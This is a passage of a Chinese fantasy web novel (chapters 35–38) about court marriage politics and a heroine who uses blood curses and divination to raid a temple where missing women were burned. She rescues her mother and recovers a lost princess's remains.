“爱妃莫急。”皇帝侧首看她,唇边带上一丝了然的笑意,
“朕记得前日你还提过,想为你幼弟与徐家小姐赐婚。今日朕便做了这个主,成全这桩姻缘,如何?”
贵妃眸中顿时漾开毫不掩饰的喜色。
徐家虽不及孟家百年清贵,却也是家底丰厚的名门。
更重要的是,徐家小姐的两位兄长皆年少有为,身居要职,正是孟家如今极力想要拉拢的清贵力量。
这桩婚事,孟家期盼已久。
贵妃眼风轻轻扫过侍立一旁的梅柔卿,趁势又道:
“陛下,这位便是臣妾前日向您提过,于宝华寺中救过臣妾性命的梅娘子……”
皇帝因方才已重赏过姜云昭,此刻态度明显淡了几分。
只随意瞥了梅柔卿一眼,淡淡道:“既与你投缘,贵妃自行看着打赏便是。”
他顿了顿,缓声道,“只记得,赏赐规制需有体统,万不可越过姜家嫡女去。”
“是,臣妾明白。”
贵妃娇声应下,心中暗自得意。
皇帝终究还是松口了孟徐两家的婚事,这让她连日来的郁气一扫而空。
她忍不住瞟了一眼柔妃,不过一个五品知州之女,一无世家支撑,二无兄弟依仗,即便封妃又能如何?
暂且容她猖狂几日!
云昭冷眼瞧着贵妃的一举一动,见她心愿得偿后,目光便迅速与梅柔卿交汇一瞬,便知她二人所想。
即便陛下明面上不直接赏赐梅柔卿,但若贵妃以私谊赠礼,皇帝自然不会过问这等微末小事。
日后待到了碧云寺,贵妃若想召一两个“贴心人”入寺相伴,更是易如反掌。
云昭默然垂眸,长睫掩去眼底锐光,心中主意已定。
碧云寺既有义母坐镇,她必定要抢先一步前去布局。
至于姜绾心——
她此刻尚且不知,咒术反噬之苦,远不止浑身如遭蜂噬那般简单。
除非……有人心甘情愿,将反噬之力引至己身。
云昭的目光若有似无地掠过梅柔卿。
若教她查明,那第三道阴毒咒术,当真落在了她母亲苏氏身上——
她必定要梅柔卿自食孽果,十倍偿还!
第35章 渣爹被陛下敲打丢尽脸面!
礼部值房外的回廊下。
姜世安行色匆匆,正欲快步离去,却在回廊转角,险些与人撞个正着。
刑部陶侍郎面白无须,一双狐狸眼笑得眯起,精准地挡在了姜世安身前:“姜尚书何事如此匆忙?”
他手中捏着一卷文书,状似无意地晃了晃,“正好,小弟有一事关于‘秋决大典’的仪程规制,需与礼部再行磋商,还望姜兄不吝指教……”
姜世安瞥了一眼那文书,脸色微沉:“此事前日已在部堂议定,陶侍郎何以旧事重提?”
陶远之笑容不变:“是议过了,但上峰觉得其中几处细节关乎刑律威严,还需再斟酌斟酌。”
他抬首望了望天色,语气带着几分故作讶异的关切,“怪哉,平日姜尚书勤于案牍,日落方归乃是常例。今日这是怎么了……莫非府中有何要事,惹得姜兄如此心神不宁?”
姜世安面皮几不可察地一颤,岂会听不出这厮分明是故意堵在此处看他笑话!
陶远之此人为官严苛较真,处事却滑不溜手,极难应付。
二人本是同科进士,明争暗斗了二十余载。如今姜世安虽官至礼部尚书,品级上却只压过身为侍郎的陶远之半头。
而真正让陶远之近来频频寻衅,是两家嫡长子皆在相看丹阳郡公家的女儿李扶音。
虽说这桩姻缘并未彻底订下,但县主李扶音仰慕“兰台公子”才名,姜家上下对此颇为自得。
姜世安原本成竹在胸,只待陛下为东宫赐婚,绾心一跃成为太子妃,届时姜家声势更上一层,长子与县主的这门婚事,自然水到渠成。
岂料半路杀回个姜云昭,今日陛下又降下那般堪称打脸的旨意——
姜世安心中不免七上八下。难道陛下并无意撮合太子与姜家?
可太子明明对绾心……
他此刻心烦意乱,无心与陶远之周旋,只冷着脸道:“秋决仪程,礼部已有定论。陶侍郎若仍有异议,可径直去向庄尚书回话,便说一切依我礼部章程行事即可。”
陶远之闻言,眼底闪过一抹狡黠,面上却故作钦佩:“难得姜兄如此勇于任事!那小弟便如此回禀了!”
说罢,竟还意味深长地拍了拍姜世安的肩膀,转身离去的脚步,竟比来时还要轻快几分。
被陶侍郎这么一拦,廊下往来之人渐多,不时便有同僚状似无意地朝他瞥来一眼。
那些目光稍触即离,躲闪之间却藏不住几分微妙的神情,俨然一副等着看热闹的架势。
姜世安只觉如芒在背,仿佛有无数细针扎在脊梁上,一时心绪愈发紊乱焦灼。
他再顾不得维持往日从容体统,几乎是步履带风,匆匆疾行而出。
一登上那辆候在官署门前的青篷马车,他再也压抑不住眼底翻涌的阴沉煞气,声音自齿缝间挤出:“速速回府!”
车厢微微晃动起来,他闭上眼,额角青筋却突突直跳。
出门之前,他明明特意交代过,命梅氏务必谨慎行事,明知云昭性子刚烈、手段不凡,就该暂避其锋,莫要主动招惹,以免横生枝节。
可今日呢?!
竟闹得圣上当场降下那样一道旨意,字字句句如耳光,扇得他这礼部尚书颜面尽失!
明日早朝,还不知那起子惯会见风使舵、落井下石的言官同僚,会当着陛下的面,如何借题发挥、明嘲暗讽!
更令他心头凝重的是……他无意识地捻着胡须,眉头越皱越紧。
云昭这才回京不过数日,怎会接连得了这么多贵人的青眼?
先是素来冷僻乖张的秦王;
再是性情清傲、连圣上面子都不卖的长公主;
如今,竟连陛下新晋宠爱的柔妃也对她青睐有加!
他缓缓睁开眼,眸中闪过一丝精明的盘算。
或许……他是该重新估量这个嫡女的份量了。
*
云昭踏进府门时,亥时已深。
主屋内灯火通明,竟似专程在等她归来。
上首的姜老夫人撑着头打盹,珠翠沉重的发髻一点一点,几乎要坠进茶盏里。
一旁,姜世安负手而立,面色沉凝。
下首处,姜珩与姜绾心兄妹二人并肩坐着,就连二房的杨氏也候在一旁。
唯独不见梅柔卿。
云昭目光扫过姜绾心,只见她两颊生晕,唇色鲜亮,哪还有半分病气?
云昭心如明镜:那咒术反噬的苦楚,怕是已被梅柔卿尽数引到了自己身上。
姜世安眉目深沉地打量云昭。
她仍穿着那身碧色流光缎宫装,发间只簪两枚珍珠小钗,通身上下再无多余饰物。
再回想今日归家时,见到姜绾心珠翠盈鬟、遍身绮罗的装扮,连他自己都觉得扎眼。
难怪陛下见了,会觉得自己苛待嫡女。
云昭身后除了莺时,还多了两名身量高挑、气息沉稳的女护卫,墨色劲装勾勒出利落的身形,一看便知非寻常仆役。
再往后,是几名身着长公主府服制的仆从,手捧御赐的云锦、赤金头面与东珠等物,静默而立,自有一股不容忽视的威仪。
“父亲,这是怎么了?”云昭缓步踏入厅中,声音平静得像一泓深潭之水,听不出半分情绪起伏。
她一开口,正打盹的老夫人猛地一个激灵,险些从圈椅上滑下来。
惊醒后,老夫人浑浊的老眼顿时瞪得滚圆,张口便骂:“你个没规矩的小蹄子……”
“昭儿回来了。”姜世安沉声截断老夫人的话头,目光如鹰隼般,径直落在云昭身后那两名气息沉稳的女子身上,“这二位是——”
他早已从梅柔卿处得知,陛下今日赏赐的不过是些布匹首饰,并未提及婢女。
然而眼前这两人气质冷冽,站姿如松,分明带着宫中禁卫才有的肃杀与规矩,令他心头莫名一紧。
“她们是义母赏给女儿的女侍。”云昭语气轻描淡写。
“又是长公主?”杨氏一时没忍住失声惊呼,话音刚落便自知失言,慌忙掩口。
云昭眸光淡淡扫过她:“晚间上用膳时,义母想起白日种种,心下欢悦,便将这两人赐予了我
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,说是女儿身边总得有几个得力的人使唤。”
姜世安一时默然。
长公主向来与他不睦,此举分明是借题发挥,故意通过厚赏云昭来打他的脸。
这般毫不掩饰的嘲弄,确像是那位殿下会做出来的事。
姜世安面上未见愠色,语气反而带上了几分关切:
“既是长公主盛情相邀,也该提前派人回府知会一声。阖家上下为你忧心,岂是为人子女之道?”
言行间,俨然一副慈父担忧的模样。
云昭闻言,故作讶异地微微睁大眼:“女儿明明遣人回府传过话的呀。”
说着,她将目光投向杨氏。
姜世安闻言,也转向杨氏与姜绾心,目光透出审视的意味。
杨氏脸上闪过一丝不自在,强笑道:“许是门房的人会错了意,以为又是那起子冒充亲戚打秋风的骗子,就依照往常的惯例给拦回去了。”
“原来如此。”云昭点头,语气听不出喜怒,
“今日英国公府的七姑娘还同我说起,前日她曾遣人往府上递了帖子,邀我过府一叙,却一直未见回音。
我还纳闷从未收到过,原来,是被二婶手下的人给一并拦了。”
她说这些话时,脸色沉静至极,毫无半分怨怼之色,仿佛只是在陈述一件与己无关的小事。
杨氏被噎得满脸涨红,想发作又寻不到由头,只得讪讪道:“这确是二婶疏忽了,底下人不会办事,回头我定好好管教。”
云昭道:“二婶和妹妹要打理偌大府邸,一时疏忽也是在所难免。只是平白得罪贵人,损的终究是我们姜家对外的颜面和名声。”
此言一出,姜绾心偷瞟了姜父一眼,眸中闪过一抹心虚。
姜世安脸色微沉:“杨氏,绾心,你二人掌家,处事不周之处,又何止这一桩?今日在宫中……”
“父亲,”云昭却适时出声,语气带着一丝显而易见的疲惫,“我累了。”
今日在公主府,为探寻小郡主的踪迹,她已耗费不少心神,稍后回了屋,还有更重要的事必须立即处理——
关乎她生母苏氏的生死下落。
她没那闲心陪他们演戏。
姜世安被她直白地打断,顿了顿,终究还是顺着她的话道:“既如此,快去歇着吧。”
云昭也不多言,微微颔首,转身便走。
老夫人全程被无视,气得脸色铁青,眼见云昭身影消失在门外,当场抓起手边的茶盏狠狠掼在地上:“真是反了天了,这忤逆不孝的东西……”
碎裂声清晰传来,云昭却连脚步都未曾停顿半分,目不斜视地径直朝着自己院落走去。
梅柔卿将本该反噬姜绾心身上的咒力,尽数引渡到了自己身上。
今晚这一大家子都等着对她兴师问罪,她却不在当场,足以说明她此刻情形有多糟糕。
她刚好趁此机会,试出她指上第三道咒,是否下咒在苏氏身上。
若果真如此……或许她能通过追踪梅柔卿身上的咒力,顺藤摸瓜,找到生母苏氏的下落!
第36章 云昭下血咒围府!
身后,姜世安目光沉沉地盯着云昭离去的方向,片刻之后,他沉声道:“心儿,你随为父到书房来。”
姜珩见状,再也按捺不住怒火,愤然道:“父亲!您看她那副小人得志的轻狂模样!
她回府那日,从库房搬走了多少好东西,今日进宫偏做素净打扮,分明就是故意陷害心儿,成心让姜家丢脸!
今日我在翰林院,被同僚明里暗里奚落得颜面尽失!全都因为她……”
“‘争之则失,让之则至,故君子修其内而让于外’,你的书都读到狗肚子里去了?”
姜世安淡淡瞥了他一眼,语气沉冷,
“遇事不先自省其德,反在此躁郁喧哗,怨天尤人,你身为尚书之子的涵养与气度何在!”
“父亲。”姜绾心轻轻拉住父亲衣袖,柔声道:“兄长今日第一天当值,在意留给上峰和同僚的印象,也是情理之中。
况且阿姊今日在宫中闹这一出……兄长也是怕郡公家因此看轻了我们。”
要知道,如今翰林院掌事的那位,是丹阳郡公的姐夫,县主李扶音的姑父。
长子与县主的这桩婚事,正是姜世安的心结。
闻言,他目光在长子愤懑不平的脸上停留片刻,最终冷然道:“在书房外候着。为父稍后自有话问你。”
*
栖梧苑内,烛影摇红。
云昭面前放着一件苏氏的旧衣——这是她方才命影七从苏氏院落中偷偷取来的。
刺破指尖,殷红的血珠渗出,她以指代笔,在旧衣上快速画下符咒。
咒成,微光一闪即灭。
梅柔卿的第三道咒,确实下在了苏氏身上。
但已然解开了!
云昭眉头倏然紧蹙——
解咒并不容易,尤其下咒日子越久,解咒时越是耗费心力。
以梅柔卿当下的情形,强行解咒,无疑是雪上加霜,自损修为。
除非……她笃定苏氏绝无生还之可能,方才行此一举,只为彻底斩断线索!
心下一沉,云昭抿紧双唇,眼中划过决然。
既此路不通,那便直接问灵!
其实早在公主府时,云昭已用长公主的指尖血,为小郡主起过一卦。
卦象显示,小郡主的尸骨,就在城北方向。
且描述地点,也是近水近火,与此前她为苏氏起卦时的卦象描述,可以说非常相似。
当时她便心生异样之感。
离府前,她特地向长公主求得嘉乐郡主生前最珍爱的小猪布偶。
此刻子时将至,她以朱砂在眉心绘下符咒,指尖轻抚过布偶,默诵咒诀,问灵所在!
片刻之后,她猛然睁开双眼——
苏氏与嘉乐郡主的所在,竟真的指向同一处!
云昭再无犹豫,取过素绫蒙住双眼,蒙眼执笔,纤指轻执狼毫,全凭灵犀牵引作画。
四周寂然无声,唯有笔尖扫过纸面的沙沙轻响。
莺时屏息凝神侍立在侧,望着自家姑娘的眼神满是敬畏。
严嬷嬷方才奉上的热茶已渐凉透,此刻却无人敢上前更换,生怕惊扰这玄妙的时刻。
就连向来随性的墨七和墨十七,见这阵仗也不由敛了笑意,神色渐肃。
待最后一笔画就,她抬手轻解绡纱。
宣纸上墨迹犹湿,虽只寥寥数笔,却已然勾勒出一处飞檐斗拱、**掩映的清幽景致。
“这是……”墨七凝神细看,突然变色,“青莲观?”
云昭对京城布局并不熟悉,追问:“青莲观与永业庄,相距多远?”
“马车约需半个时辰。”墨七道。
一直未开口的雪信这时突然道:“奴婢知道有条林间小路,若是骑马,一刻足矣。”
众人闻言,都将目光投向这个看起来不过十来岁的小丫头。
雪信眼神清亮,急急解释道:“奴婢就是永业庄附近将家村的人!”
墨十七这时道:“那附近确实有个村子,名为将家村,位置就在永业庄和青莲观之间的犄角。”
云昭心头猛地一跳,倏然起身:“去青莲观。”
秦王派出搜寻苏氏下落的暗卫,至今仍在永业庄一带探查,却一无所获。
苏氏此前必定是被送去了永业庄,只是在那之后不久,就被转移了。
而地点正是青莲观!
“此刻?”墨七愕然,“城门早已下钥,寻常人等不得出入。”
“若有殿下手令……”墨十七这句话刚一出口,便被墨七一个凌厉的眼色制止。
“那就先去秦王府。”云昭斩钉截铁。
严嬷嬷急忙劝阻:“姑娘三思!深夜出行已是不妥,何况您一个未出阁的姑娘家……”
莺时也轻声劝道:“纵然要寻小郡主下落,也不急在这一时。长公主仁厚,定不会怪罪您的。”
嘉乐郡主失踪三年有余,王府上下早有默契,小郡主恐怕早已不在人世。
云昭今夜在公主府所卜,亦昭示了同样的结果。
长公主托付之时也曾明言:即便是尸骨,她也已做好了准备。
“小郡主或许等得,”云昭声音陡然一沉,“但我娘亲等不得。”
在众人震惊的目光中,她一字一句道:
“如今府中卧病的那位,根本是个冒名顶替的假货。我真正的母亲,早在我入府当日,就被调包送往城郊。”
云昭目光扫过在场每一个人,语气决绝:“今夜无论如何,我必须亲赴城北。”
她忽地咬破指尖,鲜血瞬间涌出。
这一次,她以血为墨,凌空绘符。
指尖舞动间,一道繁复古老的符咒渐渐成形,每一笔都蕴含着奇异的力量。
随着符咒逐渐完整,室内的烛火无风自动,明明灭灭。
云昭额间渗出细密汗珠,向来从容的她,此刻脸色微微发白,呼吸也急促了几分。
这道禁锢之咒极其耗费心神,但她手下依旧稳定,最后一笔落下时,整个符咒骤然亮起血红光芒,随即分成数道流光。
她五指虚空一抓,将那数道流光攥入掌心,化作数张血色符纸。
“离家之前,还有一事要办。”云昭声音带着一丝疲惫,却依旧坚定。
众人齐声道:“愿为姑娘效力。”
云昭将符纸分给影七和影十七二人:“将这些符纸贴在姜府前后大门和东侧门的树上。”
又将其中两枚最为小巧的递给严嬷嬷和莺时:
“明日午时之前,我必赶回。在那之前,守好你们手上的东西,我要姜家所有人,都出不了府。”
*
书房。
姜世安细致问清了姜绾心与太子几番“偶遇”的始末。
姜绾心微微垂首,颊边飞起两抹恰到好处的红晕,声若蚊蚋,却带着笃定:“并非女儿妄自尊大,可太子殿下待我……确与旁人不同。”<
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br>她眼波流转,似羞似喜地添了一句,“那日在公主府,女儿献上精心准备的画作,阿姊却当众指认画中**,令女儿百口莫辩。
危难之时,是太子殿下金口玉言,在长公主面前为女儿洗刷冤屈。那份回护之心,在场诸人都看得分明。”
姜绾心自知画中另有玄机,但这是她与梅姨心照不宣的秘密,纵是父亲,也绝不能透露分毫。
见父亲沉吟不语,姜绾心眼底瞬间氤氲起一层薄薄的水汽,泪光莹然,欲落未落:
“自阿姊回府,女儿苦求多年的机缘,她总是唾手可得。
还有……还有那枚太皇太后当年赐予母亲的玉佩,如今也佩在她身上……”
她的声音里带着细微的颤音,混合着委屈与不甘。
姜世安眸色深沉,掠过一丝难以捕捉的暗芒,他放缓了声音,带着安抚的意味:
“此事不必忧心。待你与太子的婚事尘埃落定,她如今拥有的一切,自然都需为你让路。
至于玉佩,为父自会让她心甘情愿地将奉还于你。”
姜绾心闻言,破涕为笑,亲昵地挽住父亲的手臂,依赖地将脸颊轻靠上去:“女儿就知道,父亲最是疼我。”
姜世安就势教导,语重心长:“切记,莫要与你阿姊硬碰硬。世间之道,在于借势而行。
你们终归是一母所出的姊妹,一荣俱荣。
她如今风头正盛,你便该以柔克刚,主动亲近。
她纵有千般防备,又岂能挡得住日日殷勤?
一家人的血脉牵绊,便是你最天然的依仗。”
姜绾心眼中骤然迸发出亮光,连连点头:
“父亲今日点拨,女儿茅塞顿开!我知道日后该如何做了,定不负父亲期望。”
姜世安面露欣慰,颔首又道:“你兄长那边,你也需多费心周旋。他与县主的婚事,最好能提前落定。”
“女儿明白。”姜绾心乖巧应下,随即秀眉微蹙,转而忧声道,
“父亲,梅姨自宫中回来后,便一病不起。先前被阿姊鞭笞的伤痕本就未愈,这两日一直强撑着,今日怕是再也撑不住了……”
姜世安沉吟道:“你且先去歇息。待我与你兄长谈罢,自会去探望她。”
“女儿还忧心一事。”姜绾心声音放得更轻,
“梅姨脸上的伤深可见骨,女儿只怕会留下疤痕,损了容颜。
这些年来,梅姨为咱们姜家上下操劳付出,无怨无悔,若真是如此……也实在太委屈她了。”
眼见姜世安眉眼流露出淡淡怅色,姜绾心继续道:
“女儿听闻碧云寺的有悔大师精通岐黄,尤擅化解此类疮疤,女儿想明日就陪梅姨去求医。”
“如此也好。”姜世安略一思忖,便做了决断。
“明日便让你兄长放下事务,陪你们同去。
正好宫中两位有孕的娘娘凤驾未至,你们先行一步,免得冲撞了贵人。”
姜绾心低眉顺目,恭声称是,轻抿的唇角却难掩心头暗涌的欢喜。
梅姨所料果然不差。
云昭今日胜了一局,想必正沉浸在得了陛下赏赐的喜悦之中,无暇他顾。
而她要做到的,就是趁此机会,先一步去碧云寺,见到闻空大师!
然而此时的姜绾心尚且不知,不论她如何自以为算无遗策,云昭已从根源上,截断了她所有出门的可能!
第37章 母亲被活生生送进熔炉!
漏夜如水,寒意浸骨。
一出城门,云昭便命墨七将马车一片茂密的桦树林中,四人改为骑马疾行。
云昭一身墨色劲装,青丝高束,平日里娇妩的眉眼此刻凝霜覆雪,透出几分罕见的英气。
墨七纵马间瞥见云昭冷肃的侧脸,今夜之事着实出乎她的意料——
今夜王爷虽不在府中,但管家福伯一听是云昭来了,便恭敬取出王爷手令,言明是殿下一早为云昭姑娘备下的。
殿下何曾对一个女子这般上心?
知自家殿下对云昭这般态度,墨七两人再不敢有半分怠慢。
四人两骑,悄无声息地穿行于林间小道,不过两刻钟,青莲观的轮廓便隐约出现在夜色中。
四下万籁俱寂,杳无人烟,唯有那座巍峨的道观沉默矗立,如同一头蛰伏的巨兽。
更令人心惊的是,一道浓黑如墨的烟柱正从观中某处冲天而起,空气中弥漫着一股甜腻夹杂着焦糊气的药香,令人作呕。
墨七与墨十七对视一眼,皆从对方眼中看到了惊疑。
云昭心头骤紧,急声问:“青莲观内是否有丹房?”
“有。”墨十七立刻回道,“观中的玉阳子道长,擅长炼制一种美容秘丹,价格高昂。但因效果奇佳,京中贵女趋之若鹜,每月十五,观外都会排起长队。”
一旁的雪信亦小声道:“二姑娘妆台上就常备着这种丹药,不许任何人碰。每日清晨都要服食一颗。听说……小小一颗就值一两黄金呢!”
一股不祥的预感攫住了云昭。
她当机立断:“墨十七,你护着雪信在此隐蔽接应。墨七,随我进去!”
“不可!”墨十七立即反对,“殿下严令,我二人必须时刻护卫姑娘左右!”
一旁的雪信却坚定道:“姑娘放心,我会藏好,等你们信号再出来接应。”
云昭见她年纪不大,性格却颇坚毅,自腰间一枚银色弹丸塞入她手中:“若遇到危险,就捏碎它,然后立即逃!”
言罢,墨七携起云昭,足尖轻点,身形如夜枭般悄无声息地掠过高墙,融入深沉的夜色之中。
道观内一片黑沉无声,唯有浓烟所在的方向,隐隐传来动静。
二人屏息凝神,循迹潜行,很快便见一群灰衣人正忙碌地搬运着什么。
墨七内力精深,目力极佳,只遥遥一望便瞬间目眦欲裂,压低声音从齿缝里挤出两个字:“畜生!”
*
云昭晚一瞬看清,纵然心中早有推测,亲眼所见仍令她浑身血液几乎冻结——
那些人搬运的,竟是一具具年轻女子的尸身!
云昭强抑心中寒意,正欲掐算苏氏生死,就听搬运队伍末尾两人低声抱怨:“老五那龟孙,又坏规矩!”
不远处,一个工头模样的人低声呵斥:“嚷嚷什么!”
先开口那人道:“头儿,不是说好了只处理死的?这回怎么又混进两个带气的?这让我们怎么下手?”
那工头走上前一看,骂了句“晦气”,不耐烦道:“喘不喘气有甚区别?一并扔进炉子里烧干净!动作快点儿!”
云昭不再犹豫,冷声下令:“救人!留活口,切勿打草惊蛇!”
其实不待她命令,墨七早已按捺不住滔**火。
她将云昭安置在一处隐蔽角落,随即与墨十七如离弦之箭般扑出!
二女身影鬼魅,出手如电,十数名灰衣人几乎未及反应便悄无声息地被放倒。
两人迅速背起那两名仅存一息的女子,疾退向云昭所在。
然而就在这时,云昭后颈骤然一凉!
同时,墨七脸色剧变,惊呼:“姑娘小心!”
云昭不及回身,腰间银鞭已如毒蛇出洞,猛地缠住身后偷袭之人的脖颈,将其狠狠掼倒在地!
可那人口中竟抢先嘶声大喊:“夜鸦惊林——!焚炉启灶——!”
霎时间,四周阴影蠕动,数十道黑衣人影无声无息地涌现。杀气弥漫,将三人退路彻底封死!
电光火石之间,云昭的目光越过重重黑影,清晰地看到了墨七背上那名女子——
额间散落着枯槁的花白碎发,一只苍白消瘦的手无力地垂落下来,随着墨七的动作微微晃动。
与她那日在竹林惊鸿一瞥、被匆匆抬走的妇人身影瞬间重合!
“带她走——!”云昭厉声喝道。
她手腕一抖,银鞭在空中划出灵力的弧线,率先迎向扑来的黑影。
墨七将怀中女子推向墨十七,反手抽出背后长刀,刀光如匹练,悍然劈入敌群!
云昭手中长鞭舞得密不透风,逼退近前的敌人,同时左手自腰间摸出一枚龙眼大小的银色弹丸,猛地砸向地面!
“走!”
“嘭”的一声闷响,浓郁白烟瞬间暴起,迅速弥漫开来,暂时遮蔽了敌人的视线。
墨七一把提起云昭就,欲借机脱身。
然而就在此时,身后传来一道尖锐的破空之声!
“唔!”墨七闷哼一声,一支袖箭狠狠钉入她的肩胛。
巨大的冲击力让他向前扑倒的瞬间,仍用未受伤的手臂死死将云昭护在身下。
几乎在同一时刻,云昭眼中厉色一闪,一道朱砂绘就的符箓自她指尖激射而出,精准地袭向那名手持**箭的领头人!
符箓在半空爆燃,幽蓝的火焰瞬间灼伤领头人的双眼。
“啊——我的眼睛!”
那人发出凄厉的惨嚎,捂着脸踉跄后退,一边疯狂地嘶吼,“杀了他们!绝不能让他们活着出去!”
云昭咬破舌尖,指尖迅速沾上鲜血,在一张暗金色的符咒上狠狠划下,口中疾念:
“玄煞诛邪,神魂俱灭,
敕令此地,尽数诛绝——!”
此咒极为狠戾,一旦施展,纵能**于无形,施咒者也必定元气大伤,甚至有损根基!
从前师父还在世时,云昭曾立下重誓,绝不擅用祖师爷爷留下的禁咒!
但今夜,青莲观这些人的所作所为,已彻底点燃云昭的怒火。
焚烧女子尸身,连活人也不放过,甘为鹰犬,行此灭绝人性之事!
自师门惨剧后,她便深知,这世上,总有人以他人血肉为食,根本不配为人!
就在云昭即将完成血咒之际——
“咻”的一声,道尖锐的破空声撕裂夜空!
一杆玄铁**挟着雷霆万钧之势,穿透夜色,疾射而来,精准无比地贯穿了那名领头人的胸膛!
巨大的力道掼着男子的身体,倒飞出去三四丈远,最终将其死死钉在了一棵粗大的树干之上!
紧接着,数道矫健的身影如鬼魅般纷纷落下。
刀光剑影交错,动作干净利落,转眼之间便将剩余的黑
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衣人尽数斩杀!
*
云昭只觉臂上一紧,一股不容抗拒的力量已将她从地上拉起。
旋即落入一个坚实而微凉的怀抱之中,清洌的松香夹杂着寒意,瞬间将她笼罩。
“可还好?”头顶传来萧启低沉而略带急促的声音,似乎比平日少了几分冷静。
云昭蓦然抬头,恰好撞入男子深邃的凤眸之中。
四目相对的一刹那,她清晰地看到他轻蹙的眉峰,以及那双总是波澜不惊的眼中,一闪而过的担忧。
“我无事。”云昭迅速稳住心神,摇了摇头,立刻指向身后,“快救墨七,她中了**箭!”
萧启却冷声道:“顾好你自己。护卫失职,伤愈后自会领罚。”
他宽厚的手掌稳稳扶住她的腰,旋即对身后令道:“清理现场,即刻下山。”
四周断肢残骸遍布,血腥弥漫,宛如修罗场。
萧启自是在沙场见惯了这般场景,却下意识侧身,将云昭的视线与可怖景象隔开。
云昭却拉住他的衣袖,急声道:“殿下且慢!”
她自荷包中取出一块碎布,“我先前为嘉乐郡主起卦,她的尸骨应当就在此处。”
她将碎布摊于掌心,另一手并指如剑,指尖凝起一点微光,轻点于布片上。
那碎布竟无风自动,微微震颤起来,散发出幽微的光芒,仿佛被无形的线牵引着。
“随我来。”
云昭循着感应向前走去,萧启默然紧随其后,同时抬手示意手下四周警戒。
二人穿过殿宇,最终停在一处偌大的水塘前。
春日的池水尚浅,刚冒出零星的莲叶,在月光下泛着清冷的光。
“就在水下。”
云昭的声音低沉而笃定,指尖稳稳指向池塘中央那片深沉的黑暗。
萧启闻言,没有丝毫迟疑,当即踏入了冰冷刺骨的池水。
塘水不深,仅没过他玄色长靴的靴筒,淤泥在他步履间悄然翻涌。
萧启却毫不在意,身形稳如磐石,径直走向云昭所指之处。
他俯下身,衣袖浸入水中也浑然不顾,徒手在浑浊的淤泥中仔细探寻。
不过片刻,他动作骤然一停——指尖触及了一个冰冷坚硬的物体。
萧启小心翼翼地将那物件从淤泥中整个抱起,水波哗啦作响,那是一只被水浸得发黑、边缘已经腐朽的琴盒。
他稳步回到岸上,将琴盒轻轻平放在地,动作间带着一种近乎凝重的谨慎。
盒盖被掀开的瞬间,即便众人心中已有预料,呼吸仍是不约而同地窒住了——
盒内,一具小小的、蜷缩着的骸骨静静地躺在那里。
依稀可见身上还有些许未曾完全腐化的、质地华贵的衣料碎片。
那正是失踪三年、让长公主肝肠寸断的嘉乐郡主。
萧启凝望着那具骸骨。
晦暗不明的夜色里,男子俊美的侧脸看不清神色,唯有紧绷的下颌线泄露了他此刻翻涌的心绪。
他沉默地解下自己身上的墨色大氅,动作极轻、极缓。
小心翼翼地将琴盒中的骸骨,连同那些残存的布料一同仔细包裹好,仿佛生怕惊扰了这份迟来的安宁。
而后郑重地将其抱起。
他抬起头,目光恢复了一贯的冷冽,沉声命令道:“封锁此地。立刻派人,去请京兆府尹前来。”
第38章 救回母亲云昭请灵
青莲观净室内,烛火摇曳。
雪信刚将浸了热水的绢帕拧干,正要上前,云昭已无声地接了过去。
她屈膝蹲在榻前,指尖握着温热的软帕,一点点拭去苏氏脸上的尘污与泪痕。
底下渐渐露出一张苍白却难掩风韵的面容——
那副娇妩眉眼,那般姿容气韵,与云昭如同一个模子刻出来的。
任谁看了,都绝不会错认二人血脉相连的母女关系。
苏氏眼睫剧烈颤抖了几下,缓缓睁开。
混沌的视线逐渐聚焦,四目相对的刹那,泪水瞬间决堤,从苏氏眼中无声地滚落。
“你……”她干裂的嘴唇哆嗦着,挤出一个模糊的气音,嘶哑得几乎难以辨认。
云昭紧紧握住她冰凉枯瘦的手,贴在自己脸颊,低声道:“母亲,是我,昭儿回来了。”
苏氏浑身一震,情绪激动之下几度哽咽,心中千言万语,志华做反复的、破碎的呢喃:“好……好……”
云昭仔细探查了她的脉息与灵台,确认再无咒术纠缠的痕迹,方才取出金针,声音愈发柔和:
“母亲先好好睡一觉,养足精神。从今往后,万事都有昭儿在。”
苏氏却猛地抓住她的衣袖,眼中尽是惊惧,艰难吐字:“姜府,姜……假的。”
云昭用力回握住她颤抖的手,目光沉静如水,带着令人心安的力量:“我知道。一切我都知晓。母亲,安心睡吧。”
在金针的作用下,苏氏终是缓缓合眼,陷入沉睡。
“云姑娘。”门外传来墨一恭敬的声音。
他垂首敛目,姿态恭谨,“殿下有请,说是有紧要之物,需劳烦姑娘一看。”
云昭替苏氏掖好身上的毛毡,对雪信嘱咐:“守好这里。”
“姑娘放心。”雪信郑重点头:“我一定保护好夫人。”
*
云昭随墨一重返院中。
先前的水塘已被彻底抽干,露出池底乌黑粘稠的淤泥,腥臭之气扑面而来,令人作呕。
萧启默立在塘边,身姿挺拔如松,面色沉郁。
他身侧站着一位红脸膛的中年将领,虎目通红,一双铁拳紧握,青筋暴起,正极力压抑着翻涌的情绪。
“四年前,我重伤留京休养。”萧启的声音低沉而冷冽,
“就在那段时间,京畿一带接连有年轻女子失踪。
次年,嘉乐郡主于上元灯节失踪。虽年岁不符,但长公主心中,已有了最坏的揣测。”
此后几年,京城之内虽暂得安宁,但周边州府,女子失踪悬案却未曾断绝。”
萧启的目光扫过身旁的将领,“李副将的胞妹,便是其中之一。”
云昭凝视那片漆黑的泥泞,心下了然:“殿下是想让我设法证明,这淤泥之中的骨灰,并非牲畜残骸,而是来自那些失踪的女子?”
“正是。”萧启颔首,目光如炬,“云昭,此事……你可能办到?”
一旁的李副将再也按捺不住猛地踏前一步,抱拳躬身,朝着云昭深深一揖。
这个铁打的汉子,从前在沙场上到刀剑加身也不曾皱一皱眉,此刻声音哽咽,带着无尽的悲怆与恳求:
“求姑娘施展神通!为我那苦命的妹妹,为这些惨死的冤魂,讨还一个公道!李某在此……叩谢姑娘大恩!”
说完他跪伏在地,重重磕了三个响头。
今夜发生的一切,早已颠覆他的认知。
他紧随秦王身侧,亲眼见证这位看似纤弱的云姑娘,如何以血为咒,于瞬息之间制伏十数名穷凶极恶的黑衣**——
若非她先行禁锢,他们后来的清剿绝不会如砍瓜切菜,那般轻松顺利。
更是他亲眼所见,她如何仅凭一张轻飘飘的符纸指引,便带着殿下精准地找到这方名满京城的莲池。
从这污秽淤泥之下,寻回了嘉乐郡主沉埋三年的遗骸。
他行伍出身,素来信刀剑胜过信神佛。
可自两年前妹妹离奇失踪,他与家人求遍了满天神佛,拜尽了各方寺观,换回的却只有无尽的绝望。
